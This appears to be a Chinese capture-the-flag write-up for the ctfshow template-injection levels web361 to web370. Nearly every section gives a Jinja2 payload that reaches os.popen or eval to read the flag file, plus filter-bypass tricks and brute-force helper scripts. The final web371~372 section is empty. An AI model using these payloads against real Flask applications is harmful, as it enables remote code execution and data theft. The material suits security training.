SSTI注入(ctfshow)

  1. web361
  2. web362
  3. web363
  4. web364
  5. web365
  6. web366
  7. web367
  8. web368
  9. web369
  10. web370
  11. **web371~372

web361

payload(调用了“os_wrap_close”):

?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}

or

?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} //使用内建名称空间

web362

这关好像是频闭了父类下面的所有子类

payload

?name={{config.__class__.__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}

or

?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

or

?name={{x.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
//这里的x任意26个英文字母的任意组合都可以

web363

这关过滤了单双引号

参考:https://xz.aliyun.com/t/6885

我们可以使用request.args来绕过此处引号的过滤。

request.args是flask中一个存储着请求参数以及其值的字典

?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a][request.args.b](request.args.c)}}&a=__builtins__&b=eval&c=__import__('os').popen("ls").read()

也可以考虑字符串拼接,这里用config拿到字符串,比较麻烦就不全演示了

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}

相当于?name=

web364

这关过滤了引号和args,用request.from提交发现不允许,但可以用cookies

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie: a=os;b=popen;c=ls

还可以用chr()函数绕过

中括号实际上影响我们的只有从数组中取值,例如__bases__()[1],而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os

所以首先fuzz一下chr()函数在哪:

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

可以看到爆出了很多,随便选一个

{{().__class__.__bases__[0].__subclasses__()[227].__init__.__globals__.__builtins__.chr}}

接着尝试使用chr尝试绕过后续所有的引号:

{%set+chr=[].__class__.__bases__[0].__subclasses__()[227].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}

web365

过滤了中括号,但过滤了中括号实际上影响我们的只有从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。不过还是建议用getitem,因为pop会破坏数组的结构。

a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:

?name={{{}.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.a).read()}}

这里也尝试用一下字符串拼接,写个python脚本跑出来:

import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url%(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j:
            print("config.__str__().__getitem__(%d)  ==  %s"%(i,j))
            result+="config.__str__().__getitem__(%d)~"%(i)
            break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

注:__getitem__()也可以用get()来代替

web366

在之前的基础上又ban了_,用url_for.(request.cookies.a)的话会500,这关就用flask自带的过滤器attr

参考https://docs.jinkan.org/docs/jinja2/templates.html#id36

例如foo|attr(“bar”)的意思就是foo[“bar”]

payload

?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie传参:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /f*').read()

or

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
传参:a=__globals__;b=cat /f*

web367

过滤了os

payload

?name={{(lipsum|attr(request.cookies.a)|attr(request.cookies.b))(request.cookies.c).popen(request.cookies.d).read()}}
a=__globals__;b=__getitem__;c=os;d=cat /f*

web368

ban了{\{,就要想办法拿{% %}来绕过。把上一题的改一下就能直接用了:
?name={%print((lipsum|attr(request.cookies.a)|attr(request.cookies.b))(request.cookies.c).popen(request.cookies.d).read())%}
a=__globals__;b=__getitem__;c=os;d=cat /f*

web369

ban了request,就想办法自己凑字符了,这里拿config来凑。但是一个问题是_被ban了,所以__str__()用不了,这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,写个脚本:

import requests
url="http://8db9791d-549f-4151-a095-6bfbce54ba2b.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
raws=""
for i in payload:
    for j in range(0,1000):
        result=requests.get(url=url.format(j))
        location=result.text.find("<h3>")
        ak=result.text[location+4:location+5]
        if(ak==i):
            print("(config|string|list).pop({}).lower=={}".format(j,i))
            raws+="(config|string|list).pop({}).lower()~".format(j)
            break
print(raws)

最终payload

?name={% print ((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read()) %}

还有一种yu师傅的姿势

http://de1d82f0-b40d-430f-9cb5-ce2435f44306.chall.ctf.show:8080/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

这是新的拼接字符的方式,例如:

{% set a=dict(o=oo,s=ss)|join %}

这样得到的a就是把这个字典的键名拼接后的值,即os

web370

ban了数字,可以把一些东西转string再转list,然后用index,然后基本上所有数字都可以拿到

{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set f=dict(f=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set qi=(config|string|list).index(n)%2B(config|string|list).index(f)%}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set kongge=(config|string|list).pop(qi)%}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(dict(cat=d)|join,kongge,xiegang,dict(flag=z)|join)|join %}
{% set ha=dict(o=x,s=k)|join%}
{% print (lipsum|attr(globals)).get(ha).popen(gangfulaige).read() %}

yu师傅的姿势,可以用length很方便的得到数字:

{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|length) %}

还有一种用过滤器int得到数字的方式:

{% set ten=(dict(aaaaaaaaaa=a)|join|count)%}
{% set two=(dict(aa=a)|join|count)%}
{% set twofour=( two~four)|int%}
{% set a=(()|select|string|list).pop(twofour)%}
{% set chr=a.chr%}
{% print a.open(chr((four~seven)|int)~chr((ten~two)|int)~chr((ten~eight)|int)~chr((nine~seven)|int)~chr((ten~three)|int)).read()%}

**web371~372


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。